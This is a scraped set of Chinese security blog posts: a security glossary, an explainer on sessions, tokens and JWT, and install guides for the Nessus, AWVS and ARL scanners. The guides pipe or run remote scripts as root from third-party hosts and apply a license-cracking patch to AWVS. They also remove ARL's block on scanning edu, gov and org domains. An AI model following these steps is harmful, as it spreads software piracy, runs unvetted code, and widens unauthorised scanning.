0DAY/1DAY/Nday 0day:漏洞是指负责应用程序的程序员或供应商所未知的软件缺陷.因为该漏洞未知,所以没有可用的补丁程序 1day:1day刚发布,但是已被发现官方刚发布补丁网络还大量存在的Vulnerability. Nday: Nady已经被公布出来的0day CVE 全称Common Vulnerablilitites and Exposures,由于安全机构Mitre维护一个国际通用的漏洞唯一编号方案,已经被安全业界广泛接受的标准 CNVD 国家信息安全漏洞共享平台,简称CNVD,国家计算机网络应急技术处理协调中心联合建立的信息安全漏洞信息共享知识库. 主要目标提升我国在安全漏洞方面的整体研究水平和及时预防能力,带到国内相关安全产品的发展 暗网 “暗网”是指隐藏的网络,普通网民无法通过常规手段搜索访问,需要使用一些特定的软件、配置或者授权等才能登录. 暗网是利用加密传输、P2P对等网络、多点中继混淆等,为用户提供匿名的互联网信息访问的一类技术手段,其最突出的特点就是匿名性 黑产 指以互联网为媒介,以网络技术为主要手段,为计算机信息系统安全和网络空间管理秩序,甚至国家安全、社会政治稳定带来潜在威胁(重大安全隐患)的非法行为. 例如非法数据交易产业 元数据 元数据(Metadata),又称中介数据、中继数据,为描述数据的数据(data about data),主要是描述数据属性(Property)的信息,用来支持如指示存储位置、历史数据、资源查找、文件记录等功能 数据脱敏 数据脱敏是指对某些敏感信息通过脱敏规则进行数据的变形,实现敏感隐私数据的可靠保护,主要用于数据的共享和交易等涉及大范围数据流动的场景","tags":["信息安全","信息收集","渗透测试"]},{"title":"Security-会话授权","path":"/2024/02/08/c44eef61/","content":"总字符数: 10.83K 代码: 0.04K, 文本: 7.30K 预计阅读时间: 32 分钟 认证(Authentication) 通俗地讲就是验证当前用户的身份,证明“你是你自己”(比如:你每天上下班打卡,都需要通过指纹打卡,当你的指纹和系统里录入的指纹相匹配时,就打卡成功) 互联网中的认证: 用户名密码登录 邮箱发送登录链接 手机号接收验证码 只要你能收到邮箱/验证码,就默认你是账号的主人 授权(Authorization) 用户授予第三方应用访问该用户某些资源的权限 你在安装手机应用的时候,APP 会询问是否允许授予权限(访问相册、地理位置等权限) 你在访问微信小程序时,当登录时,小程序会询问是否允许授予权限(获取昵称、头像、地区、性别等个人信息) 实现授权的方式有:Cookie、session、token、OAuth 凭证(Credentials)​ 想要进行身份验证和获取访问权限,首先需要有一样东西来证明你是谁,就好比一个标识符。 ​ 这就像古代的商鞅变法时候,人们要携带照身帖,这是一小块刻有个人信息的竹板,如果没有它,人们就可能被当作非法居民或者间谍。在现代生活中,我们有身份证,这是官方认可的证明我们身份的文件。 ​ 有了身份证,我们就能办理各种事务,比如开通手机卡、银行卡,甚至申请个人贷款或者乘坐公共交通,这就是我们的身份凭证。 ​ 在互联网世界里,这个身份标识通常是通过登录进入某个网站(比如掘金)的过程来获取的。如果你以游客身份浏览,你可以自由读文章,但想要点赞、收藏或分享,就得先登录。一旦登录成功,网站就会给你的浏览器发放一个令牌,也就是一个小标识,这样服务器就知道你是谁了。以后每次你的浏览器向服务器发送请求,都会带上这个令牌,这样你就能使用那些只有登录用户才能用的功能了。简单来说,这个过程就像是网站认可了你的身份,并授权你进行一系列操作。 ​ 凭证(Credentials)在认证和授权过程中扮演着至关重要的角色。在信息技术和网络安全领域,凭证通常作为验证用户身份的手段,包括但不限于以下几种形式: 知识因素(Knowledge factors):这是某种用户知道的信息,比如密码、PIN码或者安全问题的答案。 持有因素(Possession factors):这是用户拥有的物理设备,如智能卡、USB令牌、手机中的验证器应用程序或者是一次性密码令牌。 固有因素(Inherence factors):这些是用户的生物特征,如指纹、面部识别、语音识别或其他生物识别方法。 地理位置因素(Location factors):通过验证用户的地理位置信息,例如通过GPS确认用户的设备位置。 行为因素(Behavior factors):这涉及到用户的行为模式,比如键盘打字节奏、鼠标移动特征等。 Cookie ​ HTTP是一种无状态的协议,这意味着每次客户端和服务器的交互(或称会话)完成后,服务器不会记住任何会话信息。每个HTTP请求都被视作新的请求,所以服务器本身无法识别当前请求的用户是不是上一次请求的那个人。为了解决这个问题,服务器和浏览器之间需要一种方式来保持跟踪对话,确认请求是否来自同一个用户的同一个浏览器。这种跟踪通常是通过使用Cookie或session来实现的。 ​ Cookie是存储在客户端的,确切地说就是存储在用户的浏览器里。它是由服务器创建并发送到浏览器的小型数据片段,浏览器会将这些数据存储起来,然后在下次向同一个服务器发出请求时,浏览器会自动将Cookie数据附加在请求中发送给服务器。这样,服务器就能通过Cookie识别用户,维持用户的状态信息。 ​ Cookie是有域名限制的,这意味着一个Cookie只能由创建它的域名所使用。它们不可以被不同的域名所共享,这是基于安全考虑的。但是,同一个顶级域名下的不同子域名可以设置为共享Cookie,这是通过设置Cookie的“domain”属性来实现的。比如,一个Cookie可以被设定为对所有的子域名开放,这样不仅一级域名下的页面可以访问这个Cookie,二级域名下的页面也同样可以访问。 属性 说明 name=value 键值对,设置Cookie的名称及相应的值。值必须是字符串类型。如果值为Unicode字符,需要进行字符编码;如果值为二进制数据,则需要使用BASE64编码。 domain 指定cookie所属域名,默认是当前域名。 path 指定cookie在哪个路径下生效,默认是/。如果设置为/abc,则只有/abc路径下的路由可以访问到该cookie。 maxAge 设置cookie失效的时间,单位是秒。如果这个值是正数,则cookie在maxAge秒后失效;如果是负数,cookie为临时cookie,关闭浏览器则失效。浏览器不会保存这种cookie。如果是0,表示删除该cookie。默认值为-1。比expires属性更好用。 expires 过期时间,指定时间点后cookie失效。一般浏览器默认储存cookie,但关闭浏览器后,未设置过期时间的cookie会被删除。 secure 该cookie是否仅通过安全协议传输。安全协议有HTTPS,SSL等,在网络上传输数据前会先对数据进行加密。默认为false。当secure值为true时,cookie在HTTP中无效,在HTTPS中有效。 httponly 如果给cookie设置了httponly属性,那么无法通过JavaScript脚本读取该cookie的信息。这样可以一定程度上防止XSS攻击。该cookie仍然可以通过浏览器的应用程序接口手动修改。 Session session 是另一种记录服务器和客户端会话状态的机制 session 是基于 Cookie 实现的,session 存储在服务器端,SessionId 会被存储到客户端的Cookie 中 session 认证流程: 当你第一次访问一个网站时,网站的服务器会根据你提供的一些信息,比如你输入的用户名和密码,来为你创建一个会话,这就像是给你安排了一个独有的小房间。然后服务器会给这个房间一个房间号,我们称之为SessionID,并且把这个房间号发回给你的浏览器。 你的浏览器收到这个SessionID后,就像是收到了一个钥匙牌,它会把这个钥匙牌放到一个小盒子里,这个小盒子就是Cookie。浏览器还会在这个小盒子上写上房间在哪个街区,也就是这个SessionID属于哪个网站的域名。 下次你再去同一个网站时,你的浏览器就会自动检查一下,看看有没有那个网站的小盒子(Cookie)。如果发现有,浏览器就会把里面的钥匙牌(SessionID)一起送到服务器上。服务器接到钥匙牌后,就可以根据房间号找到你之前的房间(Session信息)。 如果服务器发现这个房间还在,也就是你的会话还有效,那么它就知道你是之前的那位访客,就可以继续允许你做接下来的操作,比如进入你的账户页面。如果服务器找不到与钥匙牌对应的房间,那么它就会认为你要么是新来的,要么你的访问已经过期了,这时通常就需要你重新登录了。 根据以上流程可知,SessionID 是连接 Cookie 和 Session 的一道桥梁,大部分系统也是根据此原理来验证用户登录状态。 Cookie 和 Session 的区别Cookie和Session都用于保存用户的浏览状态,但它们在安全性、数据类型支持、有效期和存储大小等方面有一些区别: 安全性: Session 更安全,因为数据存储在服务器上。黑客很难直接获取,除非服务器本身存在安全问题。 Cookie 存储在客户端(通常是用户的浏览器),更容易受到跨站脚本攻击(XSS)和其他恶意攻击。 存取值的类型不同: Cookie 由于是文本格式,只能用来存储字符串数据。如果想要存储复杂数据类型,需要先将数据转换为字符串格式,比如通过JSON格式化。 Session 可以存储各种类型的数据,包括对象和数组等,这使得Session在数据操作方面更为灵活。 有效期不同: Cookie 可以设定为长时间保持,例如可以通过设置过期日期来使得Cookie长期有效,这常用于实现“记住我”功能。 Session 的默认有效期较短,用户关闭浏览器后,或者经过设定的超时时间后,Session通常会失效。 存储大小不同: Cookie 数据大小限制为每个Cookie 4KB左右。 Session 可以存储的数据量远大于Cookie,因为它是存储在服务器端的。但是,如果网站访问量很大,每个用户的Session都存储大量数据,那么服务器的资源将会受到很大的压力,可能会影响服务器的性能。 因此,选择使用Cookie还是Session,要根据实际需要考虑数据的安全性、类型、存储大小和服务器资源等因素。通常,敏感信息(如登录状态)会保存在Session中,而一些不那么敏感的信息(如网站主题偏好设置)可以保存在Cookie中。 Token(令牌)Acesss Token 访问资源接口(API)时所需要的资源凭证 简单 token 的组成: uid(用户唯一的身份标识)、time(当前时间的时间戳)、sign(签名,token 的前几位以哈希算法压缩成的一定长度的十六进制字符串) 特点: 服务端无状态化、可扩展性好 支持移动端设备 安全 支持跨程序调用 token 的身份验证流程: 客户端使用用户名跟密码请求登录 服务端收到请求,去验证用户名与密码 验证成功后,服务端会签发一个 token 并把这个 token 发送给客户端 客户端收到 token 以后,会把它存储起来,比如放在 Cookie 里或者 localStorage 里 客户端每次向服务端请求资源的时候需要带着服务端签发的 token 服务端收到请求,然后去验证客户端请求里面带着的 token ,如果验证成功,就向客户端返回请求的数据 每一次请求都需要携带 token,需要把 token 放到 HTTP 的 Header 里 基于 token 的用户认证是一种服务端无状态的认证方式,服务端不用存放 token 数据。用解析 token 的计算时间换取 session 的存储空间,从而减轻服务器的压力,减少频繁的查询数据库 token 完全由应用管理,所以它可以避开同源策略 Refresh Token 另外一种 token——refresh token refresh token 是专用于刷新 access token 的 token。如果没有 refresh token,也可以刷新 access token,但每次刷新都要用户输入登录用户名与密码,会很麻烦。有了 refresh token,可以减少这个麻烦,客户端直接用 refresh token 去更新 access token,无需用户进行额外的操作。 Access Token 的有效期比较短,当 Acesss Token 由于过期而失效时,使用 Refresh Token 就可以获取到新的 Token,如果 Refresh Token 也失效了,用户就只能重新登录了。 Refresh Token 及过期时间是存储在服务器的数据库中,只有在申请新的 Acesss Token 时才会验证,不会对业务接口响应时间造成影响,也不需要向 Session 一样一直保持在内存中以应对大量的请求。 Token 和 Session 的区别 Session 是一种记录服务器和客户端会话状态的机制,使服务端有状态化,可以记录会话信息。而 Token 是令牌,访问资源接口(API)时所需要的资源凭证。Token 使服务端无状态化,不会存储会话信息。 Session 和 Token 并不矛盾,作为身份认证 Token 安全性比 Session 好,因为每一个请求都有签名还能防止监听以及重放攻击,而 Session 就必须依赖链路层来保障通讯安全了。如果你需要实现有状态的会话,仍然可以增加 Session 来在服务器端保存一些状态。 所谓 Session 认证只是简单的把 User 信息存储到 Session 里,因为 SessionID 的不可预测性,暂且认为是安全的。而 Token ,如果指的是 OAuth Token 或类似的机制的话,提供的是 认证 和 授权 ,认证是针对用户,授权是针对 App 。其目的是让某 App 有权利访问某用户的信息。这里的 Token 是唯一的。不可以转移到其它 App上,也不可以转到其它用户上。Session 只提供一种简单的认证,即只要有此 SessionID ,即认为有此 User 的全部权利。是需要严格保密的,这个数据应该只保存在站方,不应该共享给其它网站或者第三方 App。所以简单来说:如果你的用户数据可能需要和第三方共享,或者允许第三方调用 API 接口,用 Token 。如果永远只是自己的网站,自己的 App,用什么就无所谓了。 类比想象一下你去咖啡厅,有两种方式让服务员记住你的订单和喜好:使用会员卡(类似于Session):你每次去咖啡厅,服务员会给你一个会员卡,上面有一个号码。每当你点东西,服务员就会根据这个号码记在咖啡厅的大本子上。下次你再来,只要出示会员卡,服务员就能知道你上次点了什么。这样咖啡厅需要保持一个记录本来记住每个人的喜好,也就是说,服务员需要记住每个客人的信息。拿一张写有你订单的纸条(类似于Token):服务员给你一张写有你点餐信息的纸条,这上面有特殊的标记或者密文。你每次来,只要给服务员这张纸条,他们就知道你要什么。这样服务员不需要记住任何人的信息,只需看纸条就足够了。纸条是加密的,别人很难抄袭你的订单,也就是说,这样很安全。那么,这两种方式有什么不同呢?会员卡方式(Session)需要咖啡厅的服务员记住很多信息,就像服务器需要存储和每个用户相关的数据一样。但是如果有很多客人,服务员就要记住很多信息,这可能会很累。纸条方式(Token)则不需要服务员记住任何信息,客人来了直接出示纸条,服务员就知道要做什么,就像服务器不需要存储用户数据,所有的信息都在纸条上。Token很安全,因为即使别人复制了你的纸条,也很难破解上面的密文,而会员卡则需要在服务员和客人之间的交流过程中保持安全。最后的关键点是:如果你去的咖啡厅只有你自己用,你用会员卡或者纸条都可以。但如果你想让你的朋友或者一个快递服务代表你去拿咖啡,你可能会给他一张有你订单的纸条(Token),这样快递服务就能凭借这张纸条为你取到咖啡,而不需要知道你的会员卡号。这就是如果你的订单信息需要与第三方共享的时候,你可能会选择使用Token。 JWT JSON Web Token(简称 JWT)是目前最流行的跨域认证解决方案。 是一种认证授权机制。 JWT 是为了在网络应用环境间传递声明而执行的一种基于 JSON 的开放标准(RFC 7519)。JWT 的声明一般被用来在身份提供者和服务提供者间传递被认证的用户身份信息,以便于从资源服务器获取资源。比如用在用户登录上。 可以使用 HMAC 算法或者是 RSA 的公/私秘钥对 JWT 进行签名。因为数字签名的存在,这些传递的信息是可信的。 想象一个你的手机有一个电子门票App,这个App可以让你进入各种网络服务,比如邮箱、社交媒体、在线商店等等。JSON Web Token(简称JWT)就像这个App里的电子门票一样,它是一个小小的数据包,可以证明你有权访问这些网络服务。 当你登录一个网站时,这个网站的服务器会给你一个JWT作为门票。这个门票里包含了一些关于你的信息(比如你的用户名),证明了你是谁,并且你有权访问某些服务。 这个门票的特殊之处在于: 它是用一种特殊的数据格式(JSON)写的,这种格式很通用,大多数编程语言都能轻松读懂。 它是安全的。门票上的信息被一种叫做数字签名的技术加密过。这种签名可以用来检查门票是否被人篡改过。 数字签名就像是门票上的一个独特的印章。只有发门票的服务器才有这个印章的模具,所以只有服务器能够创建一个有效的签名。如果有人尝试伪造或改变门票,服务器会发现签名对不上,就像发现印章是假的一样。 当你用这个门票去访问服务器上的服务时,服务器会检查门票上的签名。如果一切正常,它就会放你进去,你就可以查邮件、发消息、买东西等等。 简单来说,JWT是一个安全的方法,让网络服务知道确实是你在访问它,而不是某个冒充者。这使得你在网上的身份和访问权限安全可靠。 https://www.ruanyifeng.com/blog/2018/07/json_web_token-tutorial.htmlhttps://www.ruanyifeng.com/blog/2018/07/json_web_token-tutorial.html 生成 JWThttps://jwt.io/https://jwt.io/ https://www.jsonwebtoken.io/https://www.jsonwebtoken.io/ JWT 的原理 JWT 认证流程: 用户输入用户名/密码登录,服务端认证成功后,会返回给客户端一个 JWT 客户端将 token 保存到本地(通常使用 localstorage,也可以使用 Cookie) 当用户希望访问一个受保护的路由或者资源的时候,需要请求头的 Authorization 字段中使用Bearer 模式添加 JWT,其内容看起来是下面这样 1Authorization: Bearer <token> 服务端的保护路由将会检查请求头 Authorization 中的 JWT 信息,如果合法,则允许用户的行为 因为 JWT 是自包含的(内部包含了一些会话信息),因此减少了需要查询数据库的需要 因为 JWT 并不使用 Cookie 的,所以你可以使用任何域名提供你的 API 服务而不需要担心跨域资源共享问题(CORS) 因为用户的状态不再存储在服务端的内存中,所以这是一种无状态的认证机制 JWT 的使用方式 客户端收到服务器返回的 JWT,可以储存在 Cookie 里面,也可以储存在 localStorage。 方式一 当用户希望访问一个受保护的路由或者资源的时候,可以把它放在 Cookie 里面自动发送,但是这样不能跨域,所以更好的做法是放在 HTTP 请求头信息的 Authorization 字段里,使用 Bearer 模式添加 JWT。 GET /calendar/v1/eventsHost: api.example.comAuthorization: Bearer <token> 用户的状态不会存储在服务端的内存中,这是一种 无状态的认证机制 服务端的保护路由将会检查请求头 Authorization 中的 JWT 信息,如果合法,则允许用户的行为。 由于 JWT 是自包含的,因此减少了需要查询数据库的需要 JWT 的这些特性使得我们可以完全依赖其无状态的特性提供数据 API 服务,甚至是创建一个下载流服务。 因为 JWT 并不使用 Cookie ,所以你可以使用任何域名提供你的 API 服务而不需要担心跨域资源共享问题(CORS) 方式二 跨域的时候,可以把 JWT 放在 POST 请求的数据体里。 方式三 通过 URL 传输http://www.example.com/user?token=xxx 项目中使用 JWT Token 和 JWT 的区别相同: 都是访问资源的令牌 都可以记录用户的信息 都是使服务端无状态化 都是只有验证成功后,客户端才能访问服务端上受保护的资源 区别: Token:服务端验证客户端发送过来的 Token 时,还需要查询数据库获取用户信息,然后验证 Token 是否有效。 JWT:将 Token 和 Payload 加密后存储于客户端,服务端只需要使用密钥解密进行校验(校验也是 JWT 自己实现的)即可,不需要查询或者减少查询数据库,因为 JWT 自包含了用户信息和加密的数据。 常见的前后端鉴权方式Session-Cookie 工作原理:当用户通过身份验证后,服务器会创建一个Session,并将其ID存储到用户浏览器的Cookie中。用户随后的每一个请求都会将这个Session ID带回服务器,服务器通过这个ID识别用户。 安全措施:通常使用https加密的传输方式来保护Cookie中的Session ID不被截获。此外,为了防止跨站脚本攻击(XSS),通常将Cookie标记为httpOnly。 Token 验证(包括 JWT,SSO) Token:Token是服务端生成的一串字符串,作为客户端请求的一个凭证,在客户端和服务端之间来回传递。 **JWT (JSON Web Tokens)**:一种特殊形式的Token,其内容是JSON对象,其中包含了一系列的声明。JWT可以被签名以确保数据完整性,也可以被加密以确保数据保密性。 **SSO (单点登录)**:一种让用户登录一次就可以访问多个相互信任的应用系统的认证方式。常常结合Token使用,例如在OAuth2.0流程中的JWT。 OAuth2.0(开放授权) 工作原理:OAuth2.0是一个授权框架,允许第三方应用获取有限的访问权限,这样用户就不必将用户名和密码直接暴露给第三方应用。OAuth2.0定义了几种获取授权的流程,最常见的是授权码流程和简化流程。 使用场景:常用于第三方登录,比如用Google、Facebook账号登录其他网站或应用。 在选择合适的鉴权方式时,需要考虑应用场景、安全需求、用户体验和实施的复杂性等多种因素。例如,如果是单页面应用(SPA),Token验证(特别是JWT)可能更加适合;而对于第三方应用集成或联合登录情况,则OAuth2.0会是更好的选择。在任何情况下,安全性都是设计鉴权系统时的首要考虑因素。 常见问题使用 Cookie 时需要考虑的问题验证它们以确保安全,因为客户端可能更改Cookie。不要在其中存储敏感信息,比如密码。设置httpOnly标志,以帮助防止跨站脚本攻击(XSS)。尽量减小Cookie的大小,它们不能超过4KB,并且合理设置域和路径以限制传输。记住,Cookie是不能跨域的,每个域名浏览器可以存储的Cookie数量有限。使用 session 时需要考虑的问题Session存储在服务器端,可能会占用大量内存,需要管理过期的Session。在多服务器环境中,需要处理Session共享问题。如果浏览器禁用了Cookie,可以通过URL重写来传递Session ID。使用 token 时需要考虑的问题可以存储在数据库或内存中,如Redis,以实现快速访问。它们避开了同源策略限制和CSRF攻击。移动设备通常支持不佳Cookie,所以Token在移动端更常见。使用 JWT 时需要考虑的问题它们不依赖于Cookie,允许你跨域提供API服务。JWT通常不加密,只是编码。敏感信息不应该包含在内。JWT的状态是无状态的,一旦发出,就会一直有效,除非服务器有额外逻辑来废弃或更改。为安全起见,应该通过HTTPS传输,并设置较短的有效期。使用加密算法时需要考虑的问题永远不要明文存储密码,使用强哈希算法,例如SHA-256。不应明文显示或发送密码。只要关闭浏览器,session 真的就消失了?关闭浏览器不会自动删除Session。浏览器关闭后,除非Session超过了设定的时间限制,否则会保留在服务器上。Session通常有一个过期时间,超过该时间无活动则会被服务器清理。","tags":["信息安全","信息收集","渗透测试","会话授权"]},{"title":"Security-Nessus&&AWVS安装","path":"/2024/02/05/cccd7c5c/","content":"总字符数: 7.01K 代码: 1.88K, 文本: 0.75K 预计阅读时间: 11 分钟 NessusNessus安装https://www.tenable.com/downloads/nessus?loginAttempted=truehttps://www.tenable.com/downloads/nessus?loginAttempted=true 将下面代码中的PACKAGE_NAME改成从官网获取的文件名 nessus.sh1PACKAGE_NAME=Nessus-10.6.4-es7.x86_64.rpm 使用root账号执行nessus.sh 1234cd /optwget https://security-1258894728.cos.ap-beijing.myqcloud.com/TOP10/nessus.shchmod +x nessus.sh./nessus.sh Nessus启动与停止命令123456789101112# 启动sudo systemctl start nessusd# 开机自启sudo systemctl enable nessusd# 停止sudo systemctl stop nessusd# 查看状态sudo systemctl status nessusd# 放行防火墙firewall-cmd --zone=public --add-port=11127/tcp --permanent# 重新载入firewall-cmd --reload 插件数量序号插件名称数量1AIX Local Security Checks115512Alma Linux Local Security Checks11773Amazon Linux Local Security Checks42164Backdoors1235Brute force attacks266CentOS Local Security Checks44147CGI abuses56718CGI abuses : XSS7039CISCO236610Databases96911Debian Local Security Checks919612Default Unix Accounts17213Denial of Service11014DNS23115F5 Networks Local Security Checks140516Fedora Local Security Checks1830417Firewalls41418FreeBSD Local Security Checks547519FTP27220Gain a shell remotely28221General35622Gentoo Local Security Checks351923HP-UX Local Security Checks198324Huawei Local Security Checks1069825Junos Local Security Checks62226MacOS X Local Security Checks228727Mandriva Local Security Checks364128MarinerOS Local Security Checks56429Misc.365730Netware1431NewStart CGSL Local Security Checks143032Oracle Linux Local Security Checks651433OracleVM Local Security Checks60234Palo Alto Local Security Checks17035Peer-To-Peer File Sharing10536PhotonOS Local Security Checks189537Policy Compliance1638Red Hat Local Security Checks1159539Rocky Linux Local Security Checks108340RPC3941SCADA6442Scientific Linux Local Security Checks329143Service detection60144Settings12245Slackware Local Security Checks152546SMTP problems15447SNMP3448Solaris Local Security Checks381949SuSE Local Security Checks2310850Tenable.ot188551Ubuntu Local Security Checks767052Virtuozzo Local Security Checks34153VMware ESX Local Security Checks14354Web Servers169055Windows650956Windows : Microsoft Bulletins300057Windows : User management29 卸载方法 停止Nessus服务 1sudo systemctl stop nessusd && systemctl --no-pager status nessusd 修改/opt/nessus/文件夹属性 1chattr -i -R /opt/nessus/ 卸载Nessus 1234# Debianapt remove nessus# Centosyum remove nessus 注意事项在系统或Nessus重启后,扫描按钮可能出现暂时不能用的情况 原因:Nessus在重新配置插件 解决办法:耐心等待3~5分钟即可. AWVS安装AWVShttps://security-1258894728.cos.ap-beijing.myqcloud.com/TOP10/acunetix_23.7_linux.ziphttps://security-1258894728.cos.ap-beijing.myqcloud.com/TOP10/acunetix_23.7_linux.zip 1234567891011121314151617181920# 安装依赖sudo yum install -y at-spi2-atk libXdamage pango libXrandr libXfixes atk libXcomposite cups-libs libXext cairo libX11 at-spi2-core mesa-libgbm libxcb libxkbcommon bzip2 gcc# 下载glibc-2.18curl -O http://ftp.gnu.org/gnu/glibc/glibc-2.18.tar.gztar zxf glibc-2.18.tar.gz cd glibc-2.18/mkdir buildcd build/# 检查依赖库../configure --prefix=/usr# 安装glibcmake -j2 && make install# 上传 AWVS 程序包,并解压 wget https://security-1258894728.cos.ap-beijing.myqcloud.com/TOP10/acunetix_23.7_linux.zip# 解压unzip acunetix_23.7_linux.zip# 切换到解压后的目录,给安装脚本加执行权限chmod +x acunetix_23.7.230728157_x64.sh# 执行安装脚本./acunetix_23.7.230728157_x64.sh 显示软件协议 回车显示安装协议,先按 q退出阅读;再输入YES同意安装许可 输入主机名,默认为你的系统名,回车 输入登录邮箱和密码.并回车 推荐的邮箱和密码 安装成功后.先不要访问!!! 激活AWVS 将破解补丁license_info.json wa_data.dat覆盖到下面目录 12cp license_info.json /home/acunetix/.acunetix/data/license/cp -v wa_data.dat /home/acunetix/.acunetix/data/license/ 复制替换wvsc到下面目录 1cp -v wvsc /home/acunetix/.acunetix/v_230728157/scanner/ 善后 1234567891011121314151617# 设置激活文件只读权限chmod 444 /home/acunetix/.acunetix/data/license/license_info.json# 保护许可证激活文件chmod 444 /home/acunetix/.acunetix/data/license/wa_data.dat# 切换用户su acunetix# 重启 AWVS 服务systemctl restart acunetix.service# 查看状态systemctl status acunetix.service# 放行防火墙firewall-cmd --zone=public --add-port=3443/tcp --permanent# 重新载入firewall-cmd --reload 访问AWVS的管理界面 :https://10.10.20.6:3443/ 验证激活","tags":["信息安全","信息收集","Nday"],"categories":["Security"]},{"title":"Security-ARL&&ARL-Plus安装","path":"/2024/02/04/466824cf/","content":"总字符数: 4.60K 代码: 3.19K, 文本: 0.52K 预计阅读时间: 16 分钟 准备工作更换源1234567891011# 对于 CentOS 7sudo sed -e 's|^mirrorlist=|#mirrorlist=|g' \\ -e 's|^#baseurl=http://mirror.centos.org/centos|baseurl=https://mirrors.tuna.tsinghua.edu.cn/centos|g' \\ -i.bak \\ /etc/yum.repos.d/CentOS-*.repo# 对于 CentOS 8sudo sed -e 's|^mirrorlist=|#mirrorlist=|g' \\ -e 's|^#baseurl=http://mirror.centos.org/$contentdir|baseurl=https://mirrors.tuna.tsinghua.edu.cn/centos|g' \\ -i.bak \\ /etc/yum.repos.d/CentOS-*.repo 更新缓存:yum makecache 1234# 安装Python3sudo yum install python3# 安装Requests库sudo python3 -m pip install requests 关闭selinux12vim /etc/selinux/config# 将SELINUX=后面的值改为disabled 放行防火墙1234# 放行5003端口firewall-cmd --zone=public --add-port=5003/tcp --permanent #(--permanent 永久生效,没有此参数重启后失效)# 重新载入firewall-cmd --reload 重启机器:reboot 安装docker以及docker-compose如果安装过docker或者docker有问题的请先卸载 yum remove $(yum list installed | grep docker) 1234567891011# 安装docker的脚本curl -sSL https://get.daocloud.io/docker | sh# 启动dockersystemctl start docker# 开机自启dockersystemctl enable docker# 安装docker-composecurl -L http://get.daocloud.io/docker/compose/releases/download/v2.2.3/docker-compose-`uname -s`-`uname -m` > /usr/local/bin/docker-compose# 给权限chmod +x /usr/local/bin/docker-compose 安装ARL(二选一)方式一12345678910# 克隆git clone https://github.com/TophantTechnology/ARL# 进入目录cd ARL/docker/# 创建数据卷docker volume create arl_db# 拉取镜像docker-compose pull# 启动虚拟容器docker-compose up -d 方式二1234567891011121314# 创建目录mkdir docker_arl# 下载docker-compose配置文件wget -O docker_arl/docker.zip https://github.com/TophantTechnology/ARL/releases/download/v2.5.4/docker.zip# 进入目录cd docker_arl# 解压unzip -o docker.zip# 拉取镜像docker-compose pull# 创建数据卷docker volume create arl_db# 启动虚拟容器docker-compose up -d 方式三1234567891011# 源码安装# 仅仅适配了 centos 7 ,且灯塔安装目录为/opt/ARL 如果在其他目录可以创建软连接, 且安装了四个服务分别为arl-web, arl-worker, arl-worker-github, arl-schedulerwget https://raw.githubusercontent.com/TophantTechnology/ARL/master/misc/setup-arl.shchmod +x setup-arl.sh./setup-arl.sh# 服务管理/opt/ARL/misc/manage.shUsage: manage.sh [ stop | start | status | restart | disable | enable | log ]# 如停止服务/opt/ARL/misc/manage.sh stop 安装ARL-Plus(二选一)简介 ​\tARL-Plus是基于斗象灯塔ARL修改后的版本.相比原版,增加了OneForAll、中央数据库,修改了altDns. 我这里下载的是v2.7.1 安装部署12git clone https://github.com/ki9mu/ARL-plus-docker.gitcd ARL-plus-docker ​\t修改config-docker.yaml文件,因为配置文件中限制了edu,gov,org域名,根据需要将其删除即可,如下所示 12cd ARL-plus-docker-mainvim config-docker.yaml 也可以根据需要修改oneforall-config/setting.py文件,把自己需要的功能打开 1vim oneforall-config/setting.py 1234# 添加一个volumedocker volume create --name=arl_db# 拉取环境docker-compose up -d 添加指纹ARL-Finger-ADD项目自带的指纹项目: 1234567891011121314# 若使用EHole_magic项目的指纹文件,可增加到3508条指纹# 下载到本地 cd /opt/arlgit clone https://github.com/loecho-sec/ARL-Finger-ADD.git# 进入目录 cd ARL-Finger-ADD# 建议把指纹文件(finger.json)替换为比较新一些的EHole_magic指纹文件 # 访问链接下载指纹文件并替换原文件即可 wget -O finger.json https://raw.githubusercontent.com/lemonlove7/EHole_magic/main/finger.json # 连接arl python3 ARL-Finger-ADD.py https://10.10.20.6:5003/ admin arlpass 忘记密码重置当忘记了登录密码,可以执行下面的命令,然后使用 admin/admin123 就可以登录了. 1234docker exec -ti arl_mongodb mongo -u admin -p adminuse arldb.user.drop()db.user.insert({ username: 'admin', password: hex_md5('arlsalt!@#'+'admin123') }) 如何升级(仅原版) 如果有docker-compose.yml等文件有更新可以在Github Releases对应版本中下载docker.zip文件 如果没有可以手动修改.env中版本为指定版本 (v2.5.3以后的版本) 前期条件准备了,记得把旧版本容器停止和删除了再升级,可以docker ps -a查看是否有旧版本容器 然后就是更新镜像和启动了 123docker-compose downdocker-compose pull --no-paralleldocker-compose up -d 如何卸载Docker环境如何卸载并重装? 1234567891011121314# 如果忘记了原先的启动目录可以使用下面的命令进行容器停止和删除docker stop arl_webdocker stop arl_workerdocker stop arl_schedulerdocker stop arl_rabbitmqdocker stop arl_mongodbdocker rm arl_webdocker rm arl_workerdocker rm arl_schedulerdocker rm arl_rabbitmqdocker rm arl_mongodb# 卸载docker-compose down docker volume rm arl_db 然后删除当前目录的文件即可","tags":["信息安全","信息收集","Nday"],"categories":["Security"]},{"title":"Python-从入门到精通","path":"/2024/02/01/6b028c3f/","content":"总字符数: 40.23K 代码: 24.94K, 文本: 6.91K 预计阅读时间: 2.31 小时 Python程序的基本构成Python标识符标识符的定义 标识符(identifief)是指用来标识某个实体的一个符号,在不同的应用环境下有不同的含义.在计算机编程语言中,标识符是用户编程时使用的名字,用于给变量、常量、函数、语句块等命名,以建立起名称与使用之间的关系. 标识符的命名规则1234567 第一个字符必须是字母表中字母或下划线_. 标识符的其他的部分由字母、数字和下划线组成. 标识符对大小写敏感. 在Python3中,可以用中文作为变量名,非ASCI标识符也是允许的了 这些保留字不能用作常数或变数,或任何其他标识符名称 and exec not assert finally or break for pass class from print continue global raise def ifreturn del import try elif in while else is with except lambda yield 注释123Python中的注释有单行注释和多行注释单行注释以#开头多行注释用三个单引号'''或者三个双引号"""将注释括起来 数据类型 数字(Number)类型 12345python中数字有四种类型:整型、布尔型、浮点数和复数. int(整数),如1,只有一种整数类型int,表示为长整型,没有python2中的Long(长整型) bool (布尔),如True float(浮点数),如1.23、3E-2 complex(复数),如1+2j、1.1+2.2j 字符串(String) python中单引号和双引号使用完全相同。 12345678910111213141516171819202122232425262728293031# 多行字符串注释"""使用三个引号(单引号或双引号)可以创建多行字符串"""# 使用转义符"转义字符如\\ 表示换行"# 原始字符串r"在字符串前加r可使\\ 成为两个普通字符:\\ "# 字符串连接和重复"连接" + "字符串" # 输出 '连接字符串'"重复" * 3 # 输出 '重复重复重复'# 字符串的截取的语法格式如下:变量[头下标:尾下标] 案例: str = 'AnQuanNiu' print(str) 